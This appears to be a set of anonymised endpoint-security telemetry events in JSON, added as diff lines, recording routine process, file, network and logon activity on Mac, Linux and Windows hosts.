+{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
+{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
+{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
+{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
+{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
+{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
+{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
+{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
+{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
+{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
+{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
+{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
+{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
